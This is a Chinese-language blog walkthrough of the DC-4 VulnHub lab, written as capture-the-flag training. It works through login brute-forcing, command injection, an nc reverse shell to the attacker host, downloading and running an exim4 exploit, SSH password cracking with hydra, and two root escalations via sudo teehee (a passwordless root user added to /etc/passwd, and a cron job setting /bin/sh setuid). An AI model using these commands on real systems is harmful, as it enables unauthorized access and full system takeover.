首页 > 其他分享 >DC-4

DC-4

时间:2024-08-18 18:04:37浏览次数:10  
标签:文件 teehee DC 192.168 权限 root 目录

靶机介绍

  靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip

环境搭建

  下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版

  kali攻击机:192.168.98.136

靶机渗透

信息收集

扫描主机

image

  可知靶机的ip为:192.168.98.142

扫描端口

 masscan --rate=100000 -p 0-65535 192.168.98.142

image

  22和80端口开放

nmap -A 192.168.98.142

image

  ‍

指纹识别

whatweb http://192.168.98.142

image

image

  就只知道是一个nginx服务器,其他的就什么都没了,服了。。

  没识别出来,访问网站,是一个登录页面:

image

  ‍

目录扫描

dirb http://192.168.98.142 /usr/share/dirb/wordlists/big.txt

image

  扫描目录也没什么可用的。。。。。

  这次信息收集有点少啊。。。。

  ‍

  使用dirsearch来扫描一下:

dirsearch -u http://192.168.98.142 -i 200,300-399

image

  也是一样没什么收货

漏洞挖掘

登录框爆破

  nginx/1.15.10 这个版也没看见有漏洞利用的点,有什么东西都使用不了。

  没事想法,目前先对这个登录框进行爆破 , 结果还是给它爆破从出来了(之前爆破一半没出来,后面放弃了,结果看答案密码就在我另一个字典里!)

image

账号:admin
密码:happy

远程命令执行反弹shell

  登录看看:

image

  点击run,上面显示了执行命令:ls -l

image

  ,一眼顶针,执行命令了!直接又点击其他的选项:

image

image

  这下懂了吧,直接抓包看看数据包:

image

  这个参数应该是可控的,修改参数的内容就是执行什么样的命令,尝试修改发包:将参数内容改为了whoami

image

  根据返回包内容显示,这里存在远程命令执行漏洞,

  本来想尝试写入php文件的,结果没成功,可能是没有权限,艹。。。

  ‍

  探测是否存在nc:(它这个不会报错回显,所以需要把内容输出到页面中)

echo `which nc`

image

  存在nc命令,那么就用nc来反弹shell

  靶机命令执行:

nc -e /bin/bash 192.168.98.136 5577

  服务器监听

nc -lvvp 5577

  成功收到会话:

image

//用python打开一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"

  尝试创建一个文件,确实没有权限,行吧,难怪之前没有写入成功。。。

image

  ‍

  ‍

方法一:邪道速通

  上传traitor工具来查询一下,也没发现很明显的漏洞

image

  ‍

exim4提权

  1.find 命令查找具有sudo权限的命令,发现exim4在使用时具有root权限

find / -perm -u=s -type f 2>/dev/null

  存在exim4

image

  2.查看一下exim4版本:

exim4 --version

image

  这个版本存在漏洞

  3.查询exim4版本的漏洞,选择相近的版本漏洞利用

image

  4.将脚本复制到/tmp目录下

image

  进入tmp目录,开启python服务器

image

  因为其他目录有一定操作权限限制,所以我们操作靶机的tmp目录(因为我测试过这个靶机,tmp目录有操作权限):

  受控机进入到tmp目录下载脚本:

wget http://192.168.98.136:8080/46996.sh

  5.执行脚本,成功提权:

# 2种方式,那种能用就用,一般用第二种成功率高
./46996.sh -m setuid 
./46996.sh -m netcat

image

寻找flag

  通过这个方法拿得到root权限很不稳定,必须要尽快操作,立即进入root目录下,找到flag文件打开:

  发现flag.txt 文件就在root目录下:image

  打开flag.txt文件:

image

  ‍

方法二:传统解题

  查看passwd 文件

  cat etc/passwd

image

image

  在home目录下发现了3个账户, 去里面找找宝贝

hydra爆破ssh

  在目录/home/jim/backups 下找到了文件old-passwords.bak​,是一个密码字典:

image

  也许这个字典可以用来爆破ssh,说干就干,将这个密码字段导出保存为dc4.txt文件,使用hydra来爆破ssh

hydra -l jim -P dc4.txt ssh://192.168.98.142

image

  爆破成功:

账号:jim
密码:jibril04

登录jim账户

image

  看一下有无能够root执行的命令:

image

  没有就接着往下走。

  jim目录下还有个mbox文件,之前没权限无法读取,现在切换到jim账号之后可以访问这个文件了

image

  是一封邮件:

image

  是不是提示我们去mail目录下寻找什么呢?
找到目录 /var/mail

image

  www-data文件,没有权限无法读取,但是可以访问jim文件:

image

image

  翻译一下邮件内容:

image

  账号密码为:

账号:charles
密码:^xHhA&hvim0y

切换charles账户

  成功登录charles账户:

image

  查看能够root执行的命令

sudo -l

image

  发有能够以root​执行的teehee​命令,而​teehee​​的作用是可以向文件中追加内容

  知识补充:

  • teehee命令:teehee命令可以往一个文件中追加内容,可以通过这个命令向/etc/passwd中追加一个超级用户。
  • teehee参数-a:追加到指定文件,不覆盖原文件。

teehee命令提权

  将账号写入/etc/passwd中

  密码设置为空

echo "agony::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

  对于admin::0:0:::/bin/bash的解释

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

  补充:uid=gid=0为超级用户,默认shell一般为/bin/bash。

  执行命令成功:

image

image

  切换admin用户成功,权限为root:

image

  PS:如果你切换admin用户,发现切换不了,需要输入密码,请退回至kali终端重新ssh登录charles账户,再通过su admin 直接切换账户,不需要密码!也许你也可以尝试写入一个有密码的账户,我就不测试了。

teehee写入定时文件提权

  向/etc/crontab文件中写入新的定时任务

  时间部分全部填写为*,意思是每分钟执行一次,通过写入将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。

sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh

image

  写入成功:拿到root权限

/bin/sh

image

拿下flag

  寻找flag:

find / -name flag*

image

  成功拿下flag:

image

  ‍

总结

  1、后台密码爆破,使用burp爆破,工具爆破等等都可以

  2、远程命令执行漏洞

  3、反弹shell的命令

  4、exim4版本漏洞利用

  5、要注意home目录下有哪些账户喝敏感文件,以及passwd文件

  6、熟悉利用hydra爆破ssh

  6、利用teehee命令进行提权(这里使用crontab提权和添加新用户提权)

  7、注意拿到账号密码之后,建议重新使用ssh登录,而不是在另一个用户上通过 su 命令来切换登录!(防止出错。。。)

  ‍

标签:文件,teehee,DC,192.168,权限,root,目录
From: https://www.cnblogs.com/itchen-2002/p/18365885/dc4-z2cxe57

相关文章

  • ThreadCore学习
    1.线程中的异常处理一般线程里面不允许出现异常,需要自己处理好,最好在线程里加个trycatch,#region异常处理//线程里面的异常是被吞掉了,因为已经脱离了try的范围了,WaitAll抓到多线程里面全部的异常//线程里面不允许出现......
  • 身份证信息认证服务—— Identity IdCard OCR API
    IdentityIdCardOCRAPI对接说明本文将介绍一种通过输入身份证图片或姓名和身份证号码,来校验姓名和身份证号的真实性和一致性。本接口用于校验姓名和身份证号的真实性和一致性,您可以通过输入姓名和身份证号或传入身份证人像面照片提供所需验证信息。我们的上游是接入了......
  • 使用 preloadComponents 进行组件预加载
    title:使用preloadComponents进行组件预加载date:2024/8/18updated:2024/8/18author:cmdragonexcerpt:摘要:本文介绍Nuxt3中的preloadComponents功能,用于预加载全局注册的组件以减少首次渲染阻塞时间,通过实例演示如何设置并使用该工具来提升页面性能。categories:......
  • lit tailwindcss vite模板
    pnpmcreatevite@latestmy-project----templatelitcdmy-projectpnpminstall-Dtailwindcsspostcssautoprefixersass-embeddednpxtailwindcssinit-ptailwindcss.config.js:/**@type{import('tailwindcss').Config}*/exportdefault{core......
  • 震惊,ADC时钟频率不是84Mhz?
    前言单片机只能去处理数字量(0/1),但不能去处理一些多值数据(模拟电压值),如果需要处理模拟量,需要借助模数转换器(ADC)进行转换,把模拟量转换为MCU可以处理的离散数字量。一、ADC时钟说明由时钟树我们可知,ADC挂载在APB2上,那么它的频率本应该是84Mhz,但事实果真如此吗?其实不是的......
  • 关于ADC的一些总结
    前言        由于在STM32单片机中,主要是数字电路,而数字电路没有多少伏电压的概念,只有高电平和低电平两个概念,如果想要读取电压值,则需要经过ADC模数转换来读取对应引脚的模拟电压,然后存放到对应的寄存器种,通过变量来读取从而进行显示、判断等操作。1.ADC(Analog-Digita......
  • containerd + nerdctl安装
    下载所需依赖#containerd包wgethttps://github.com/containerd/containerd/releases/download/v1.6.8/containerd-1.6.8-linux-amd64.tar.gztarCxzvf/usr/localcontainerd-1.6.8-linux-amd64.tar.gz#runcwgethttps://github.com/opencontainers/runc/releases/downl......
  • 智匠MindCraft AI 1.2.6版本更新啦!!
    智匠MindCraftAI​​​​​​​迎来1.2.6版本更新,本次更新四大内容:1、网页代码及python代码渲染优化。更稳定的代码渲染功能,您可以在智匠AI中,实现炫酷的网页效果,或者用python制作图表和游戏。2、语音实验室增加语音识别功能,可识别多国语言和方言。用户可以在语音实验室中,选......
  • 突破传统看车局限,3DCAT实时云渲染为东风日产奇骏赋能
    在当今数字化飞速发展的时代,汽车行业的营销也面临着诸多变革与挑战。线下展示由于受到场地空间的限制,往往无法全面展示所有车型,且建设成本高昂。而一些销售门店可能因位置偏僻等因素,导致客户上门看车、试驾的邀约变得困难重重。图源网络传统的线上看车方式也存在着明显的不足......
  • BUG[系列]:imx6ull调试ADC功能。
    一、前言产品上有一个声控开关的需求,需要用到ADC,调试过程遇到了很多问题,特此记录下。(都可以写个小故事了)二、过程1.修改设备树板子上ADC功能默认是没有打开的,所以先改设备树。1.1BUG1:从doc文档直接复制代码,格式错误,编译和运行不会报错。描述:我直接从doc文档把ADC设备树代......